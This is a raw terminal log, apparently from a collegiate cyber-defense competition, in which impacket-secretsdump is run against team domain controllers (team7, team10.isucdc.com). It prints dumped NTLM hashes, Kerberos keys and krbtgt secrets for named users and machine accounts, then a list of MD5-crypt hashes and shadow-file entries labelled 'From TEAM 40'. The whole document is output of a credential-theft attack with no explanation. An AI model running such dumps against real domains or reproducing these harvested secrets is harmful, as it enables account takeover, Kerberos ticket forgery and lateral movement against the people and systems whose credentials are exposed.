[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c13dbd58f9c2ae23e66d0dc89418d078:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:86ba043cd080468dc6a6fd9dc74151fa:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
cdc:1001:aad3b435b51404eeaad3b435b51404ee:6aa15b3d14492d3fa4aa7c5e9cdc0e6a:::
team7.isucdc.com\jessica.butler:1618:aad3b435b51404eeaad3b435b51404ee:424c5799681ef4de8336fba807ea4a57:::
team7.isucdc.com\frederick.massey:1619:aad3b435b51404eeaad3b435b51404ee:469fa022c2b0dd5badb054509d24b344:::
team7.isucdc.com\trevor.benson:1620:aad3b435b51404eeaad3b435b51404ee:186dd8689a3c3217bd39f9cc95241f5b:::
team7.isucdc.com\dylan.jenkins:1621:aad3b435b51404eeaad3b435b51404ee:6e46f948f8a0b704a4c065f97467f057:::
team7.isucdc.com\kyle.myers:1622:aad3b435b51404eeaad3b435b51404ee:c1f2d2008bc66a5870a85af1709ab5b1:::
team7.isucdc.com\zachary.wallace:1623:aad3b435b51404eeaad3b435b51404ee:7962669e5d3b89766ab54dc49f991bb0:::
team7.isucdc.com\laura.johnson:1624:aad3b435b51404eeaad3b435b51404ee:1b68b50cfa240646815da34b28091c02:::
team7.isucdc.com\amber.palmer:1625:aad3b435b51404eeaad3b435b51404ee:d427c10b30c0e0605a844d2ae2ba8246:::
team7.isucdc.com\kevin.holland:1626:aad3b435b51404eeaad3b435b51404ee:48d27d11d9c654e7f44ad1341f9747e2:::
team7.isucdc.com\melissa.marshall:1627:aad3b435b51404eeaad3b435b51404ee:552c66047e45aa9141689e232efd4dd7:::
team7.isucdc.com\tonya.rodriguez:1628:aad3b435b51404eeaad3b435b51404ee:15a64666c1c43e3ef60da783bfefb3ff:::
team7.isucdc.com\ldap_service_user:1629:aad3b435b51404eeaad3b435b51404ee:4b6a0952fbf6275df3d45a60f17a02c1:::
AD$:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
GIT$:1106:aad3b435b51404eeaad3b435b51404ee:ad5faf8506b4399c1128ccde599ebb96:::
ENV$:1107:aad3b435b51404eeaad3b435b51404ee:6cc08e852a1060a11946250206e3bc1f:::
CODE$:1108:aad3b435b51404eeaad3b435b51404ee:1290edeb1d467c4539af81d404163ddf:::
IRC$:1109:aad3b435b51404eeaad3b435b51404ee:0928f156e1a5532e1bccec2af0e31df8:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:a01c2b2aa411d175cd0df020ded032235f5d61fba8d1495bf5b08cf26306ef89
Administrator:aes128-cts-hmac-sha1-96:cdea0b893fb12ed39a06413db5994949
Administrator:des-cbc-md5:f1b01ccb52c19d76
krbtgt:aes256-cts-hmac-sha1-96:48ab6e4401838e9a9dfda4c1835134188918ebbdfad67357d6588916576510e1
krbtgt:aes128-cts-hmac-sha1-96:13289e3413d46058d937983c7586d18d
krbtgt:des-cbc-md5:4c4cc485cd5732f7
team7.isucdc.com\jessica.butler:aes256-cts-hmac-sha1-96:f0a932a19f7f5e26d817bff33b05ad55aaecd46523b7e14dc6a943d8f4a93f7a
team7.isucdc.com\jessica.butler:aes128-cts-hmac-sha1-96:b201b9c6951d8f40a4b4a95b4a02980d
team7.isucdc.com\jessica.butler:des-cbc-md5:25fd4679762cb5bf
team7.isucdc.com\frederick.massey:aes256-cts-hmac-sha1-96:5b02f3ca72cbafbb0a16916e8d7d6c8ee93357839866aa3636bc53eeb2e02a79
team7.isucdc.com\frederick.massey:aes128-cts-hmac-sha1-96:fd287e1731872db541bf06fc97327dfa
team7.isucdc.com\frederick.massey:des-cbc-md5:d3796dba8c8992f8
team7.isucdc.com\trevor.benson:aes256-cts-hmac-sha1-96:bf8dc627f83720f35e5cd4b220c707db9b001d8cccca633ba7987727e9d9c844
team7.isucdc.com\trevor.benson:aes128-cts-hmac-sha1-96:991db6c1af6fb65883d06abb28571f33
team7.isucdc.com\trevor.benson:des-cbc-md5:04dcec374ad6400d
team7.isucdc.com\dylan.jenkins:aes256-cts-hmac-sha1-96:eba0f2a039f20f9117e2670b6b22d80dd7b6cf50071777efaeaa760a8f362a18
team7.isucdc.com\dylan.jenkins:aes128-cts-hmac-sha1-96:5d39ed9403f8e23070b41cdd63682a2d
team7.isucdc.com\dylan.jenkins:des-cbc-md5:1c4a5b9de3b6bfa2
team7.isucdc.com\kyle.myers:aes256-cts-hmac-sha1-96:07767c20840d866753695d43a6e760917a4bf5063779da118874c238c07ad698
team7.isucdc.com\kyle.myers:aes128-cts-hmac-sha1-96:bf3023c221ee9a5d8c9b1d6d270f2cbf
team7.isucdc.com\kyle.myers:des-cbc-md5:bc200b2a25c29b0d
team7.isucdc.com\zachary.wallace:aes256-cts-hmac-sha1-96:eae912c9b2c903c0a4649d43bc4fd5a13b5e242a24e1273afb759c927603932d
team7.isucdc.com\zachary.wallace:aes128-cts-hmac-sha1-96:735c2f80c33743389ed0ab94d886e36b
team7.isucdc.com\zachary.wallace:des-cbc-md5:e915bf431538297a
team7.isucdc.com\laura.johnson:aes256-cts-hmac-sha1-96:9acc3e54c59f9aa1b9f93244aa3a2269d6dece44dd2730fb7bb2301c298f5fb9
team7.isucdc.com\laura.johnson:aes128-cts-hmac-sha1-96:69e6ed727adc8db38a8a79573c064961
team7.isucdc.com\laura.johnson:des-cbc-md5:54a232d09819feda
team7.isucdc.com\amber.palmer:aes256-cts-hmac-sha1-96:5cde5ea6f851643860f7369e1c955b35962137a27465221eb3e9db23f8e53894
team7.isucdc.com\amber.palmer:aes128-cts-hmac-sha1-96:e59fdf95dad4667e26c9849c97dc39af
team7.isucdc.com\amber.palmer:des-cbc-md5:585e012315dc3e9d
team7.isucdc.com\kevin.holland:aes256-cts-hmac-sha1-96:7cdc77512fa978026af9caceddf95f6ac92971da766fb047f2d44829507e5408
team7.isucdc.com\kevin.holland:aes128-cts-hmac-sha1-96:4d28d0b685db94c5adc05d51d269ad09
team7.isucdc.com\kevin.holland:des-cbc-md5:da54804c3b0d6158
team7.isucdc.com\melissa.marshall:aes256-cts-hmac-sha1-96:225a47b5cc2ac3d868ccd37f8c889af75ccb5ae8ebd0d1d61f6b83896a362147
team7.isucdc.com\melissa.marshall:aes128-cts-hmac-sha1-96:48fae730074f7add2ddb7f24efcacc07
team7.isucdc.com\melissa.marshall:des-cbc-md5:b6b9f76194d37a07
team7.isucdc.com\tonya.rodriguez:aes256-cts-hmac-sha1-96:c354e0b514eac04a40179549298fe61f9a262b08d8cdde6a6b97761bba402ffe
team7.isucdc.com\tonya.rodriguez:aes128-cts-hmac-sha1-96:5a6383318804bdc8a8dac69290c72a47
team7.isucdc.com\tonya.rodriguez:des-cbc-md5:044515ba919129e5
team7.isucdc.com\ldap_service_user:aes256-cts-hmac-sha1-96:4d253466c45edb9abf6cea9606ee6ee12955ad16de2da7dcf05611166b66c95d
team7.isucdc.com\ldap_service_user:aes128-cts-hmac-sha1-96:8fae3380d987c9c9ddf86bcb95a4cd9f
team7.isucdc.com\ldap_service_user:des-cbc-md5:c2ecadf8bc490ef4
AD$:aes256-cts-hmac-sha1-96:749e573eb085e9cb4de796c20940ad1edf1cf719a7f7dd541014ad049cea0fab
AD$:aes128-cts-hmac-sha1-96:00b022520e2a74d84af46595e6db78f5
AD$:des-cbc-md5:7a9e8908e54f94d5
GIT$:aes256-cts-hmac-sha1-96:c4590c752a38b35f00b228db3e491d67651a52ef71ab74921d4502090b838af4
GIT$:aes128-cts-hmac-sha1-96:de8767ba0160b3d10f790c7c0a3d6213
GIT$:des-cbc-md5:9eefab4fc137546d
ENV$:aes256-cts-hmac-sha1-96:b2d1d6fa18bb0d94c00abb81a87f5bcb4a94cfc5735c99d46e16e49a9194ad24
ENV$:aes128-cts-hmac-sha1-96:2e7642d94929bf3cc6d167cb362bb3b2
ENV$:des-cbc-md5:d3f80badea2ae504
CODE$:aes256-cts-hmac-sha1-96:3fc0ab0bfad9002e82f6f0b969c5a9ea16f46f61b16363feb605f25aba2696f7
CODE$:aes128-cts-hmac-sha1-96:60142f6547c1268a8f473f764e57abce
CODE$:des-cbc-md5:049d2fd5a8f8a879
IRC$:aes256-cts-hmac-sha1-96:20067db694f082b5e81d7409bbf813920bdb681cd00c00a88866255a1065da51
IRC$:aes128-cts-hmac-sha1-96:18d721a80e67eaba3c1f0b3f3934d257
IRC$:des-cbc-md5:73c858f4d634f275
[*] ClearText passwords grabbed
krbtgt:CLEARTEXT:0x65a3306df87c986ebc5357726e148b528d5f4d2d5ef32d9ed015ba851a41ebc2b5f7015a0bf0fdfaf44e2fa74cbf6fc18c7b4204c32879a0ce283741e87aa6973fb9f6465169037f15c342396ebb9f9e7a1e891cac105d2de98dcb196c7fdde031f7f6c05e5d420da387c51cbb61462c06d3a074dc894bb57444137a7d26a65af498e6d007fb20ae00723a4858907d7d8f7eec1875464c6d01f92ea88b911c9ab60672fecc0c36e694993fbc9aaa3a37f8fd59691d9faa4052155e1afd7ea541dfd6db4b4cdf05b4304a7c4b94655482dd204e9cf391efcb6b35635bbb71a0af707fa305065f40d58afe1181642a3fcd53a038c7617c01f9dc7377d73b1957d8034703a60a29e95745a15a76af5769dde3104f2589c80d2dde89b62b0785fe5fdf65235017f5df3867f1640b6eb529ab172a85410e33440e2332fab3c84c743c97d5c13cd17164e47015b45d82450b9f81c6083b8cb2b9ba2ef57f1be1e1fc43e9f326459e7ea5fdae7382d40b2cb90425c408be0191d35eb02c1ac88fa8ee471080b86b8a868bf18e55dada3de0710baf8a24667c0585cb85970f82c02e662016e86207aa16014d474058cf9bbc865ade71fb5fdaac7f2dade5efed49ebe162c351503fbb865ec10e16420636300985f74f20d5c746444015b8b470df1881f7f25dac79ac3b3cc3b5562aa4d9587850c9669505873e033d6ee8595ab00ca6de
[*] Cleaning up...
┌──(krbtgt㉿think)-[~]
└─$ impacket-secretsdump 'AD$'@ad.team10.isucdc.com
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:684ae0f933d2d14dfe5df0a3d6fb3654:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0411895142982eeadd0af0e177958968:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
cdc:1001:aad3b435b51404eeaad3b435b51404ee:005951cab9db2d56042cce0abab1eb4f:::
team10.isucdc.com\jessica.butler:1121:aad3b435b51404eeaad3b435b51404ee:4c1a0a1a0b54570d11d05041604cd807:::
team10.isucdc.com\frederick.massey:1122:aad3b435b51404eeaad3b435b51404ee:01749def0849f31d734f386fc191f2ac:::
team10.isucdc.com\trevor.benson:1123:aad3b435b51404eeaad3b435b51404ee:7b3211b4c8fdd7f5e64d12ef1d546fbb:::
team10.isucdc.com\dylan.jenkins:1124:aad3b435b51404eeaad3b435b51404ee:d50caae3ff6142e90c38bdf5fa9f2e17:::
team10.isucdc.com\kyle.myers:1125:aad3b435b51404eeaad3b435b51404ee:e9045b6b28c39a189329d6844e613088:::
team10.isucdc.com\zachary.wallace:1126:aad3b435b51404eeaad3b435b51404ee:b8ff53fb356fd81619be0edca3e764f7:::
team10.isucdc.com\laura.johnson:1127:aad3b435b51404eeaad3b435b51404ee:cb10f1031728488c4f400db8b6080304:::
team10.isucdc.com\amber.palmer:1128:aad3b435b51404eeaad3b435b51404ee:d427c10b30c0e0605a844d2ae2ba8246:::
team10.isucdc.com\kevin.holland:1129:aad3b435b51404eeaad3b435b51404ee:48d27d11d9c654e7f44ad1341f9747e2:::
team10.isucdc.com\melissa.marshall:1130:aad3b435b51404eeaad3b435b51404ee:c44d26affa3639f7b9eecf50c2c368fa:::
team10.isucdc.com\tonya.rodriguez:1131:aad3b435b51404eeaad3b435b51404ee:15a64666c1c43e3ef60da783bfefb3ff:::
AD$:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ENV$:1107:aad3b435b51404eeaad3b435b51404ee:f3034aa0b33a85c1a5bce47e79508299:::
CODE$:1108:aad3b435b51404eeaad3b435b51404ee:fe284e75118a7f3a692aad6000edbe59:::
IRC$:1109:aad3b435b51404eeaad3b435b51404ee:bc12a580095045261abe29400f2b0f54:::
GIT$:1110:aad3b435b51404eeaad3b435b51404ee:fa2bb270efb8dfa17b309f51e37575b7:::
CDC$:1120:aad3b435b51404eeaad3b435b51404ee:e78261ffd0d43f10ab1e37010d301d05:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:4b325c5ff0df134de140697e1e57d141bf67f0b697ca2754e6a4aef63a6da65d
Administrator:aes128-cts-hmac-sha1-96:722494c99da245b42ebc75638e58141c
Administrator:des-cbc-md5:836ba2feabc83123
krbtgt:aes256-cts-hmac-sha1-96:eb62664a042bec9345ee0e1eed7d748192fa6dd2234474e3e77596c0a9b825f6
krbtgt:aes128-cts-hmac-sha1-96:fadf2fa22e66ec2ab15fa210229858ea
krbtgt:des-cbc-md5:a82fc4bf463e31bc
cdc:aes256-cts-hmac-sha1-96:eee44c1a963cfbe65050f0bb9c914fee2c228469af6f10473e4b60c45136e23c
cdc:aes128-cts-hmac-sha1-96:986e1edea19b246d335f4d31a65197aa
cdc:des-cbc-md5:58e3aeb0fdec4567
team10.isucdc.com\jessica.butler:aes256-cts-hmac-sha1-96:e49926f69b91db275b5fbdc492c4fc5ea4c3c2d1a780a23d4f4e4dff6b6f75cb
team10.isucdc.com\jessica.butler:aes128-cts-hmac-sha1-96:7769795bf9f274d6e0e54726c96626c0
team10.isucdc.com\jessica.butler:des-cbc-md5:088ca17c979702e3
team10.isucdc.com\frederick.massey:aes256-cts-hmac-sha1-96:04d118cb9c0ffdab5ebe27a40cbe7fc3079ce325b1ea5615e0c0fe050e63fe8d
team10.isucdc.com\frederick.massey:aes128-cts-hmac-sha1-96:cbae301da41c0205a1549988e1cf5542
team10.isucdc.com\frederick.massey:des-cbc-md5:a145b0ae3d0de0f4
team10.isucdc.com\trevor.benson:aes256-cts-hmac-sha1-96:798f32468c4fe99a54602b21ed092f299217e148a36e2daaa3dc0b3fcbcb6e39
team10.isucdc.com\trevor.benson:aes128-cts-hmac-sha1-96:76afef099e5ef9721a82cda2a811cb90
team10.isucdc.com\trevor.benson:des-cbc-md5:f82602973b49d945
team10.isucdc.com\dylan.jenkins:aes256-cts-hmac-sha1-96:5d861042c1f5f048a55bf95649474b2aa5e6031a8ced3db6b0b0e229f6fa4b96
team10.isucdc.com\dylan.jenkins:aes128-cts-hmac-sha1-96:b42841a0c4c8be219465008842ae9687
team10.isucdc.com\dylan.jenkins:des-cbc-md5:ea80454368a8ecdf
team10.isucdc.com\kyle.myers:aes256-cts-hmac-sha1-96:ffd781757ba0e0405cd2c986d89b9c718c30e30db973c0a7ef73d98b71dd10a3
team10.isucdc.com\kyle.myers:aes128-cts-hmac-sha1-96:ac6c3c91812bfe6226ce9dcfa2f4b104
team10.isucdc.com\kyle.myers:des-cbc-md5:2952b3e38f0832a1
team10.isucdc.com\zachary.wallace:aes256-cts-hmac-sha1-96:dde8711375860340630cb1e0a80e5f0d95a17f3907c54cba1d2962fbcb483506
team10.isucdc.com\zachary.wallace:aes128-cts-hmac-sha1-96:c15d3c0af3c0d115b9005c7a332eb436
team10.isucdc.com\zachary.wallace:des-cbc-md5:49dfb30119979ec8
team10.isucdc.com\laura.johnson:aes256-cts-hmac-sha1-96:30d23f03851119098d5fef52e1cdc3567c6d4278be87217ef3a191325f62cdd0
team10.isucdc.com\laura.johnson:aes128-cts-hmac-sha1-96:5d9fb38e38356062b298e0b8b92b0a80
team10.isucdc.com\laura.johnson:des-cbc-md5:fb7368eac20808bf
team10.isucdc.com\amber.palmer:aes256-cts-hmac-sha1-96:24f70a017d77afbeaaa3be217453ac8db3b689010697c4a1c9dbda4b03361fa0
team10.isucdc.com\amber.palmer:aes128-cts-hmac-sha1-96:55b63fbe6b2fd2674d274acbaa9031f4
team10.isucdc.com\amber.palmer:des-cbc-md5:1032198f2f94ad02
team10.isucdc.com\kevin.holland:aes256-cts-hmac-sha1-96:86b92a233ff11cad273a8b42c041a626469b4ef2b762dad59ecb04718f7f50d0
team10.isucdc.com\kevin.holland:aes128-cts-hmac-sha1-96:32b337ea72f311cac1d6147835dcaabf
team10.isucdc.com\kevin.holland:des-cbc-md5:92abc77fefcd585e
team10.isucdc.com\melissa.marshall:aes256-cts-hmac-sha1-96:30fd77f0bfe0f672de3f0ac398a8aaabcfed07fcb1ed9fb4f94c66da133b0478
team10.isucdc.com\melissa.marshall:aes128-cts-hmac-sha1-96:9f0fa70abf428a3b58308bb39f39fec0
team10.isucdc.com\melissa.marshall:des-cbc-md5:7fbfdf1508fe010e
team10.isucdc.com\tonya.rodriguez:aes256-cts-hmac-sha1-96:3bb741d13abd50dd54dcd84ef814462596788b34b00b09ad7faba0f85c84c5e9
team10.isucdc.com\tonya.rodriguez:aes128-cts-hmac-sha1-96:6b856a8161b72ed2675281653a45f1ec
team10.isucdc.com\tonya.rodriguez:des-cbc-md5:e016a87f3b6bfd1c
AD$:aes256-cts-hmac-sha1-96:ee2a6195d9b715dcb7a4ec902e3841c953da0eb5e9bfd2a52a64f4f5781122fd
AD$:aes128-cts-hmac-sha1-96:4ac5096de1284b7f6c9af35317e6535e
AD$:des-cbc-md5:dc45a1460df8766d
ENV$:aes256-cts-hmac-sha1-96:80f8a3782ea1b706631c98ddefcbf82b5e706ccdf83a14061b223cfefa98cac2
ENV$:aes128-cts-hmac-sha1-96:29fc844023a2edea3111c60ae190d4a3
ENV$:des-cbc-md5:800dc43e97807a51
CODE$:aes256-cts-hmac-sha1-96:f5ec7676c793740350ccbf81d63e5e9caf60b5ff4abcc23675b45b3500789773
CODE$:aes128-cts-hmac-sha1-96:16a66303f7e417e61f1cd5e08fe2c50b
CODE$:des-cbc-md5:c21a687aab07087f
IRC$:aes256-cts-hmac-sha1-96:a3c845d601a2666e7939413b3d34c7f40b1fec6d3978e65bfe4c9b1ac9eaff3d
IRC$:aes128-cts-hmac-sha1-96:d5c0e4469160305c85792d48ef2049a2
IRC$:des-cbc-md5:1f34adcdc46d4649
GIT$:aes256-cts-hmac-sha1-96:6726c72d61bd516db1ab4c4ea7508a518d194fc2a2b210a94fafc266060f7223
GIT$:aes128-cts-hmac-sha1-96:6ea23528cc5487a673f1bb205dffc22f
GIT$:des-cbc-md5:fb988c45256ef74a
CDC$:aes256-cts-hmac-sha1-96:8e629662aec0aea37c7cb3856e10183fb805b8feb594e1aa014be265b4a15020
CDC$:aes128-cts-hmac-sha1-96:dbb85498c47e039a159f0544ba44cf3f
CDC$:des-cbc-md5:a2b3c75ea7da0879
[*] ClearText passwords grabbed
krbtgt:CLEARTEXT:0x3bb57a6d12805a6662be7913090346868e2b9fcb478ca78679bb54054495019e2bff821b4a1ac82f147085f34650ef02b03278721de4e53628d9f8304e7c51697a100f8dc14a2c5fe95021ca18a9cf52743c13a6e52a2d79aaccf354de4122cba8eb5e3083a2e80af00a65ffd2fb827f1c37636963fd236d1dca5f5e6f05822b616d5bdb43266c198f064761c099fb3a492aac6d8289666202a84ea60c792bb55fc71fd806778b6563db8c5c12d5661b54ebd8f1882d7b5f4bd5d3b0223ba25d077bda6305e1019d84ad5247dbd84ea30c5b7667138aad8d057cd7350250fa869b487ccefa211ac07527c82442b26882c6bde52f9c0b8d7e06ed3a50cacc76d61365e04e5b7f67dd9a261e09c4a4f5a2ba34ca507cac74941482b5db00b35217d1fb2cb33fbc16405ed9c774a8a571479c1c987d4855d901266093f253394c37080454ea7ce0b7eb374b42afa098785e718b896212e762cd0621db9af847ed535af6bde484b61c0791a83dc1d1bdafd597c2a01377db600a8298c50d16fd2a2d346efd8c5a3687e6a1ea16ddf274c6ccae57c4e7ae994852943ddd16c110fdc9e4e667820aa0bc566e1ee61c1ff12db1acd99dba63f2d37e2c57f9edf6445a7ae528b6f74675ab5c01d3f174a509014f684e27d00055e8f324de378573ef5b82510090f0e867bfa2acd44dd20d0bb3f6771aedb7e447f294700f3eca0c154f22
[*] Cleaning up...
From TEAM 40
$1$hzq/lyp/$yf3ziqqm0hu3vuslo/te5/
$1$eyp.qs3j$ycmhew1udtdq48bsoo7.u0
$1$penvv6mx$npcxgduohndmajgnagbmn/
$1$evnz74el$du91cbelbk9prddnc4d9g/
$1$1anrb6a/$bj2bvvr1dlwfibc1acbva.
$1$/jjfhvb.$txkw5ed20iqiicxkzeght0
$1$4avicvh7$6yab1ies1e4e9sc7pkoqr0
$1$eejg8pbw$jbbvx05yvzpqtgb4y3ege1
$1$ndn74m7r$fvmbdl.bb2ffppnay5qbu/
$1$5xlpdunt$zmmr80ufrxsywsbxdqq8k0
$1$xy.thxxn$pidvwqkutyxfy5rwuammu1
$1$jj0hibub$lh0n1cnlv.hp49ni/f2d20
$1$kd5e9spa$t5i65tjqoez83gpoctmxo1
$1$iqfgmul8$aalqrnuy3dwhfnkbxvxvh1
$1$k8ocu46.$.idtjtpwob1vrxtjvldrv0
$1$xtzcgyfm$hp0tmmx/di1bbpmeodne6/
$1$bn04k2q5$hls25zuadr4aeqlk2kw02/
$1$pzrr.ccq$.z0w1amxjfvcdav1ulz590
$1$mmoqpdly$llvk7i1dxlymcfr0pdptz/
$1$mofaxihi$zkdrww1orqzyvjc/yv0um0
$1$srhaumex$k/fhnfo32dwp7ua2lylpe0
$1$nwanzgjh$4hgwqzd7pprj/qvjdkqmd1
$1$pzd2skls$c9sre2guvuvbuxw2yacea1
$1$ep15d7ki$ahoann0xhr9dklymjnvoo.
$1$vb/hsnvy$r9pxvfatwix4w3vjyousx0
$1$ly3626fc$xsuvvx1vegmoehgmvuira0
$1$n1eybeqr$j7plti0f65gkbqugnkiwt.
$1$wh8/kn/2$mhn6hzysghemisslln4gv0
$1$jyhu7ue2$a8ndzxvttxq88eabqyi3l1
$1$zptrisoy$vratcwe06i/pbr7vn5n/u1
$1$7dxn16lk$ooxpoh8kisfhx7iyvawgh0
user1740637501:$1$EYp.qS3j$ycmHEW1udTdq48BSoo7.u0:20146:0:99999:7:::
user1740723901:$1$pENvV6mX$npcXGduOhnDMaJGNaGBmN/:20147:0:99999:7:::
user1740896702:$1$EVNz74EL$dU91cBELbk9PrddNC4d9G/:20149:0:99999:7:::
user1740983101:$1$1ANrb6A/$BJ2BVvr1DlwfiBC1aCbva.:20150:0:99999:7:::
user1741069501:$1$/JjfhvB.$tXKw5Ed20IqIIcxkzEGHt0:20151:0:99999:7:::
user1741155902:$1$4AvIcVH7$6yaB1Ies1e4e9Sc7pkOqR0:20152:0:99999:7:::
user1741242301:$1$eEJg8Pbw$JBBvX05YVZpqTgb4y3Ege1:20153:0:99999:7:::
user1741328701:$1$NDn74M7R$FVmbDL.BB2fFpPNay5Qbu/:20154:0:99999:7:::
user1741415101:$1$5xLPdUnT$Zmmr80UfRXsYWsbxDqQ8k0:20155:0:99999:7:::
user1741501501:$1$XY.tHXxn$PIdVwQKuTyxfy5rWUammu1:20156:0:99999:7:::
user1741587902:$1$jJ0hiBUB$LH0N1Cnlv.hp49nI/f2D20:20157:0:99999:7:::
user1741674301:$1$kd5e9spA$T5I65tJqOez83gPoCTMxo1:20158:0:99999:7:::
user1741760701:$1$IqFgmUL8$AaLqRnUY3dwHfNKbXVXvH1:20159:0:99999:7:::
user1741847101:$1$k8ocu46.$.idTjTpWOB1VRxtJVLDrV0:20160:0:99999:7:::
user1741933501:$1$XtZcgyfM$HP0TmMX/DI1bBpmEOdnE6/:20161:0:99999:7:::
user1742019901:$1$bn04k2q5$hLs25zUAdr4AEQLk2kw02/:20162:0:99999:7:::
user1742106301:$1$pzRr.cCq$.z0W1AmXJFVcDav1ULZ590:20163:0:99999:7:::
user1742192701:$1$mmOQPDlY$LlvK7i1DXLYmcfR0PdPTZ/:20164:0:99999:7:::
user1742279101:$1$mofaXIhI$zKdRwW1ORQZYvjc/YV0UM0:20165:0:99999:7:::
user1742365501:$1$sRhAUmEX$k/fhNfO32dwP7UA2lylpE0:20166:0:99999:7:::
user1742451901:$1$NWAnZgjh$4HgwqZd7pPRJ/qvJdKqmd1:20167:0:99999:7:::
user1742538301:$1$PZD2SKLS$c9sre2GuvuvbuXw2YaCea1:20168:0:99999:7:::
user1742624701:$1$eP15D7kI$AhOAnn0XhR9DKLymJNVoo.:20169:0:99999:7:::
user1742711101:$1$vB/HsnvY$R9PXvfATwix4W3VjyouSX0:20170:0:99999:7:::
user1742797501:$1$ly3626fC$XSuVVx1VEgMOeHGMVUIRA0:20171:0:99999:7:::
user1742883901:$1$n1EYbeqr$j7pLtI0f65GkBQUgNKIWT.:20172:0:99999:7:::
user1742970301:$1$WH8/KN/2$MHN6HzySgHEmISsLlN4GV0:20173:0:99999:7:::
user1743056701:$1$JYHU7ue2$a8NdzxVTTXq88EABQyI3L1:20174:0:99999:7:::
user1743143101:$1$zPTRisOY$vraTCWe06I/pbR7vn5N/u1:20175:0:99999:7:::
user1743229501:$1$7DXN16Lk$OoXpoH8kISFhX7IyVAwgH0:20176:0:99999:7:::